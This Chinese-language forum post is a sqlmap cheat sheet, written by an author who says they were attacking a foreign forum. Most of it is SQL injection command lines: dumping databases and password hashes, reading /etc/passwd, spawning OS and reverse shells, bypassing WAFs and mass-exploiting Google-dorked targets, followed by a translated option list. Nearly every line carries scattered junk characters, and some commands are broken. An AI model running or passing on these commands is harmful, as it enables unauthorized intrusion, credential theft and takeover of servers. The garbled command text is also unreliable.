今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、4 o7 H4 ^6 [& [; E/ G* V4 A" \
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
" _5 N. v& a$ u! gsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名$ ^* T0 J# R- q. N3 U4 i. Y
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
0 J, M- W8 b+ [! M& ] : A/ I; i h2 c
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v( }; ]9 m6 ]4 l* \* V3 @0 {! C
0 #获取字段内容4 J3 s3 ]) N( ^% I; E# V
9 V) E9 Q+ j3 a |
******************信息获取******************
5 B# ^2 Q( F2 V& b5 Isqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
- N& r/ E1 m* Y4 z& o0 Isqlmap -u “http://url/news?id=1″ –users #列数据库用户
5 ]: v2 v7 d! fsqlmap -u “http://url/news?id=1″ –dbs#列数据库8 B/ `- V. ?" W2 Q& L! u% Z7 s
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码" g4 {. b& `# V. V5 Q
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
; Q: K* H9 q6 N, p* Gsqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”$ M- p- Z8 V" U$ I( u9 h8 L
–start 1 –stop 20 #列出指定字段,列出20 条( |; q# V" O4 s* q
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表- P! }7 m, B3 N
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
2 o5 G' z `$ _3 _ G( A3 @sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色2 X {* d% V/ S& c1 i
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
+ L* Y3 n( U; j, ]9 \sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表0 d. a# `6 G4 e: C& m: i0 V- J
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
. W0 C" a7 ]; y! P% u3 asqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入) O' q3 w6 S# B s: ?8 l6 {: l
sqlmap -u “http://url/news?id=1″-b #获取banner信息
$ t( `! S0 L0 `$ E! ysqlmap -u “http://url/news?id=1″ –data “id=3″#post注入1 ~# }4 e) R/ J+ E5 T% Z
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型# c7 I! e% l6 E3 i. E! Z7 R- n
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入& |1 k \: ^. ]3 ~
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
- ^6 O6 B1 F+ \% c$ tsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
0 d- v$ `, m" Isqlmap -u “http://url/news?id=1″ –file /etc/passwd( ~& ?, U* c4 [$ \5 x+ E
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
+ Y6 w$ R" t' F, _+ h7 Jsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
) l8 m: j. [1 t& N1 v% v' q$ [sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表 S1 l h: V% S2 ?/ O% f
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度+ X( L! U2 j5 o6 H0 ?; m; u
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
8 q5 C' j. N4 r) v" w+ \7 k***********高级用法*************
. U. w* V \7 }+ t& `5 C0 M1 F-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
7 b/ M" P( h/ W7 w9 Isqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问- H5 P6 w9 W! `: e) Y+ ]
–technique 测试指定注入类型\使用的技术
6 E7 J& d. e# r" n6 y不加参数默认测试所有注入技术% L! m4 E7 C* g
• B: 基于布尔的SQL 盲注4 h: E8 P5 b3 ]
• E: 基于显错sql 注入( t7 d4 l/ s, `/ V5 {
• U: 基于UNION 注入
3 f! G1 U8 g8 f* r) a8 K. i• S: 叠层sql 注入& K, \$ z$ i5 u; M* l6 l) w, D4 r
• T: 基于时间盲注
: i0 q$ ^5 e, L; @3 X2 W0 l–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()- Z( W( z* [" }8 h) P: p
–tamper 插件所在目录
) J7 `7 y6 Z% O% F5 Z\sqlmap-dev\tamper1 h" y5 u& {. R) a
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能6 S" K s! r* x. j. R8 L6 w
level 执行测试等级 攻击实例:; X4 i/ }9 E \9 h
Sqlmap -u “http://url/news?id=1&Submit=Submit”
) ^5 E* Q- G& b–cookie=”PHPSESSID=41aa833e6d0d
5 e$ o' _: G9 @, ]28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
# T% {: _7 q" ~–password
- ^. a2 s& h# i; k$ `参考文档:http://sqlmap.sourceforge.net/doc/README.html Y q+ z! ]$ m1 [1 r' X: |
***********安装最新版本*************3 d+ e$ l0 n% Y& W C; h, f1 Y
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
; m2 ~/ Z; G' O+ b5 A# Y3 S Lsudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& V" ]: ]! C3 L) I3 l# S- r
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件# x' z6 \# E: c) D K) o
sudo vim /home/当前用户/.bashrc
( v) c. X' t1 C3 t2 Q#任意位置加上:
0 Z7 W9 M) B% c$ J4 galias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
, B O `( I4 J l4 i2 L如果想对所有用户有效 可设置全局 编辑下面的文件% k c$ q% a, U) _. f. ?6 X' n
vim /etc/profile
( u& [. }; N: ^: y9 `) g同样加上:
: ~* T8 l# E1 S+ Oalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效4 l- u. K0 ?# U- h% s0 j( M5 I6 I- J
******************windows 7 (x64) sqlmap install (SVN)************
: a2 w: H$ i& L3 }& D% shttp://www.python.org/getit/ 安装python. J/ }, {) ?; a: O
http://www.sliksvn.com/en/download 安装windows svn client
2 }4 b- O. k% G7 T& usvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev: H2 W( F9 ?+ k1 X( c- T* [; n
安装sqlmap6 c' P. C+ v8 W
*修改环境变量( u9 f" y8 c; c- P7 z. o1 ]* q
–version 显示程序的版本号并退出4 Q1 U. Q g/ k: T# |
-h, –help 显示此帮助消息并退出8 v/ Z* U* j0 A5 ^* l' h6 V' u
-v VERBOSE 详细级别:0-6(默认为1)+ X1 o( e$ v# `- V/ E. `, O
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。8 U# h) ~7 K/ T; t0 F M3 I8 T
-d DIRECT 直接连接到数据库。
( p9 r- h m: [8 G& u0 Y: |-u URL, –url=URL 目标URL。8 n3 K$ N& W1 y$ c+ w
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
/ @5 s1 |! N$ \8 ^2 M/ i" Y-r REQUESTFILE 从一个文件中载入HTTP 请求。
1 y7 M9 r8 A- A: I0 d% e-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
* l& b! l% P: y-c CONFIGFILE 从INI 配置文件中加载选项。
0 H/ x+ n+ r; O$ XRequest(请求)::4 n3 g! Q* z1 I6 f, `
这些选项可以用来指定如何连接到目标URL。, f/ t" J1 s6 W8 H) M
–data=DATA 通过POST 发送的数据字符串
" i$ x0 W; ^0 K1 J' f/ K7 T- \–cookie=COOKIE HTTP Cookie 头
8 g$ m2 U' O, H% _" A–cookie-urlencode URL 编码生成的cookie 注入+ j& F& M( F( W9 d2 V
–drop-set-cookie 忽略响应的Set –Cookie 头信息
+ c1 G1 x' L8 Q / q n0 f: `4 s# c3 o4 D
–user-agent=AGENT 指定 HTTP User –Agent 头
' O0 B& C/ F5 @3 f7 z–random-agent 使用随机选定的HTTP User –Agent 头
. e" r+ J3 b" |8 t8 E/ `: A–referer=REFERER 指定 HTTP Referer 头# Y3 ~, x3 d; Z& x3 p! r
–headers=HEADERS 换行分开,加入其他的HTTP 头
* w5 G, Y, _$ }1 z# Z4 N! Y–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
9 f6 T0 O0 {; b" ~$ I; Z–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)$ {% q; t3 b& R! n+ o5 V. L/ z. ~
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
3 N: {6 Y7 b! _3 K+ F7 {! A, b% A–proxy=PROXY 使用HTTP 代理连接到目标URL
# y+ R! m! {+ y& f. i–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
' X, N' ?1 K, G. i4 P6 ]–ignore-proxy 忽略系统默认的HTTP 代理5 K/ z) u$ n; u, _( N& z- ?* v
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒) \7 f, X9 ^! ^, w2 l+ f) d
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
5 @+ u* T( ]: M- n9 f/ Z! I; P–retries=RETRIES 连接超时后重新连接的时间(默认3)
/ S' x) A+ Y6 G; T" }: Q–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
! B9 g' o6 |1 i7 z4 D9 X–safe-url=SAFURL 在测试过程中经常访问的url 地址" ?! k- Q& d0 u# `
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL( L5 w6 Q! ?# s3 ?3 {/ G0 T
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
' I% l/ L3 [3 Z+ U; Y! d6 e, _, q-o 开启所有优化开关
0 u4 m \- s3 P4 x; e3 ]0 f% b9 t–predict-output 预测常见的查询输出
- L" b! i7 g: `7 {: p–keep-alive 使用持久的HTTP(S)连接0 |! V) K$ y( U# j; e0 K
–null-connection 从没有实际的HTTP 响应体中检索页面长度8 ?$ L8 \- K: X) X% P4 E
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)) j% }0 U$ F! q* b& [. U" @* K4 Y
Injection(注入):
0 K$ O2 z" `- V" F9 h1 \7 P0 X这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
, L/ W7 w" r$ C1 r5 s" J-p TESTPARAMETER 可测试的参数(S)
Q8 k) _# ?/ O: e$ b+ g" r. f–dbms=DBMS 强制后端的DBMS 为此值
7 g u- k7 i; K–os=OS 强制后端的DBMS 操作系统为这个值( S. G+ w( G% z) G; C# Z
–prefix=PREFIX 注入payload 字符串前缀5 F2 Z. O7 H1 b) Z! Z0 e- [
–suffix=SUFFIX 注入 payload 字符串后缀8 r' F5 T; H! U) l: z( O
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
* F! I! M- H; z! R: z" aDetection(检测):
$ x) R$ b) ~$ o- h6 e这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
* ^" l( q1 z) g) q4 Z–level=LEVEL 执行测试的等级(1-5,默认为1)
* a( S. P! s2 E–risk=RISK 执行测试的风险(0-3,默认为1)
& D" k; @4 X5 {* X3 T" C6 y4 C–string=STRING 查询时有效时在页面匹配字符串: a; G% D( n$ ]* [, R9 u
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
6 u3 }- f3 G/ y+ D- e–text-only 仅基于在文本内容比较网页; N0 J/ x5 C, [9 v$ r/ K( B+ L
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
& C' o% i& v. j- s–technique=TECH SQL 注入技术测试(默认BEUST)
$ U0 F m( b6 n–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒): K+ Y+ a. k8 G7 ?8 E: e* u [6 s
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
B& H7 T$ w, |% ^& [6 c–union-char=UCHAR 用于暴力猜解列数的字符
# l# R" }1 X! `& K) B/ S% T1 GFingerprint(指纹):, S3 S" M$ D( m6 w; h
-f, –fingerprint 执行检查广泛的DBMS 版本指纹5 B* S6 `! A% r& C
Enumeration(枚举):8 [4 B4 E( \$ d2 B R
9 p3 P) C8 N. H' R7 F这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。7 |! Q( I; _1 U
-b, –banner 检索数据库管理系统的标识
/ ?& d/ z: \- G0 T–current-user 检索数据库管理系统当前用户) r9 Y0 m( B: W' Q9 c
–current-db 检索数据库管理系统当前数据库2 i/ ]& z. V7 {4 Q1 w
–is-dba 检测DBMS 当前用户是否DBA
5 A& \7 {! b, c* f. @. e" ^–users 枚举数据库管理系统用户
* S2 t8 X( Q: L$ y |–passwords 枚举数据库管理系统用户密码哈希$ u- ]; _# ~1 v; h- _2 j9 b
–privileges 枚举数据库管理系统用户的权限+ O/ y, F8 J8 T
–roles 枚举数据库管理系统用户的角色
) [- p( m7 S: e# R4 L2 l/ E$ y–dbs 枚举数据库管理系统数据库+ e' o: D/ X( t! S8 O+ K ^/ e
–tables 枚举的DBMS 数据库中的表+ Q, I, T# O' E! g
–columns 枚举DBMS 数据库表列2 f% V2 M I7 v% {: G
–dump 转储数据库管理系统的数据库中的表项
# P% o, s4 P* G: L–dump-all 转储所有的DBMS 数据库表中的条目4 x) l4 H) g# L: ]' R) f. _
–search 搜索列(S),表(S)和/或数据库名称(S)
/ a$ r& m( }& f( |- n2 n4 z-D DB 要进行枚举的数据库名8 O( ]8 e- f4 h
-T TBL 要进行枚举的数据库表
( [) \# H; A# b( C! _-C COL 要进行枚举的数据库列7 D; b" E& j4 k) W) _& m
-U USER 用来进行枚举的数据库用户' F0 I& v) P2 T. d& B
–exclude-sysdbs 枚举表时排除系统数据库" j+ z) c6 `& J+ b; F- \
–start=LIMITSTART 第一个查询输出进入检索9 \4 ]! n7 f4 U a
–stop=LIMITSTOP 最后查询的输出进入检索9 ?% L4 i0 B4 S: J- y* v) ^! q
–first=FIRSTCHAR 第一个查询输出字的字符检索* X* n* }. A. ^
–last=LASTCHAR 最后查询的输出字字符检索 R+ k' w4 s; h$ }1 t: Y
–sql-query=QUERY 要执行的SQL 语句: H8 |8 O* J. l' ~5 }
–sql-shell 提示交互式SQL 的shell
% F( v2 x2 j' L" b, k' i" tBrute force(蛮力): 这些选项可以被用来运行蛮力检查。( q, B7 S( i9 L8 X
–common-tables 检查存在共同表
5 R$ D5 M# Q! A( P1 j; Z0 A–common-columns 检查存在共同列
( ?1 s3 E* y+ b- ^/ o& j# ~1 dUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。2 X( d o0 C. H5 p
–udf-inject 注入用户自定义函数- r! E+ P" K$ U5 c" ?( p+ g% _3 u: s
–shared-lib=SHLIB 共享库的本地路径
" a4 m( a S0 ~( K8 r2 OFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。% f) b$ j! c6 z6 J/ c% ~
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件, J: B8 x& t; W: X6 a4 D
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
6 M/ k' e! b( ^. P; e" D" \: [–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径: y6 Z" s2 ^! h1 \2 {0 G
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。! `( o$ k# V% g% D k) X
–os-cmd=OSCMD 执行操作系统命令
) K6 M) t3 N4 w1 D1 O0 c2 P; o–os-shell 交互式的操作系统的shell
$ I& l. L0 M2 {, g; `7 s–os-pwn 获取一个OOB shell,meterpreter 或VNC( H, p8 `+ p" C& l. N% q5 B
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC2 ]* E* R$ ~7 c0 L; [2 B- m' b
–os-bof 存储过程缓冲区溢出利用6 p1 H6 ~- Z: V( L
–priv-esc 数据库进程用户权限提升7 Z9 T' y2 ^) ]. B4 n
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
: U$ X. Q/ y/ R' m–tmp-path=TMPPATH 远程临时文件目录的绝对路径3 v7 s" W6 E: m% T5 ]: D( ~
( \$ @& k0 N/ t2 U' i
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
0 I3 |+ w; O9 N% `+ w1 p5 O! `–reg-read 读一个Windows 注册表项值: b+ y8 T6 Q/ y* Y1 j: O: k2 k7 ^
–reg-add 写一个Windows 注册表项值数据, k. ?7 K& D1 O: ]/ M7 N
–reg-del 删除Windows 注册表键值
) K, s: u A) _& J7 N–reg-key=REGKEY Windows 注册表键
& J! T* E9 i( C! } e/ R& ?9 @* o) `8 J–reg-value=REGVAL Windows 注册表项值! C! D+ l; K. R5 j0 L }4 l6 `
–reg-data=REGDATA Windows 注册表键值数据
, b# u3 u6 Q0 D1 B' H, x; c0 q–reg-type=REGTYPE Windows 注册表项值类型
" n% q# a. K& T- zGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
( o5 s( m) \, \% i) M0 ^ J/ Z-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
$ O8 ~8 C2 \3 Q, p) D* V0 }-s SESSIONFILE 保存和恢复检索会话文件的所有数据
8 w4 F6 _4 C1 G, f/ f7 {$ Z–flush-session 刷新当前目标的会话文件
- { L* t# C! r- D4 s–fresh-queries 忽略在会话文件中存储的查询结果7 Z' T- X( v# L( }8 ?2 U& Q% t
–eta 显示每个输出的预计到达时间
P( E: [8 c, D: z) z: S% c–update 更新SqlMap
3 U; M B V% b) m! a3 C–save file 保存选项到INI 配置文件
3 l2 C2 M+ l8 _9 H4 U1 e0 u–batch 从不询问用户输入,使用所有默认配置。
) e. r0 k2 |" v. j. j( I; pMiscellaneous(杂项):+ N S% z5 L; a* L" ^4 Q1 x
–beep 发现SQL 注入时提醒
, O5 A) @. J; T4 N& P! Z–check-payload IDS 对注入payloads 的检测测试7 y( d1 D- j8 M" m- v8 h, J: n$ n j. t
–cleanup SqlMap 具体的UDF 和表清理DBMS9 v7 k: Q2 i" h' t5 O7 m
–forms 对目标URL 的解析和测试形式
( O/ z, w3 K( ~0 M# j# E6 c–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果4 e* z+ a/ F! A: S
–page-rank Google dork 结果显示网页排名(PR)
/ z; v* ^4 _* x i5 [1 v* @3 T% I–parse-errors 从响应页面解析数据库管理系统的错误消息- [) A- o3 |2 V2 l
–replicate 复制转储的数据到一个sqlite3 数据库. R. y" x- |! I) g- m( U! A2 @' l0 F
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址; v6 E2 Y9 _) y% B6 p
–wizard 给初级用户的简单向导界面 |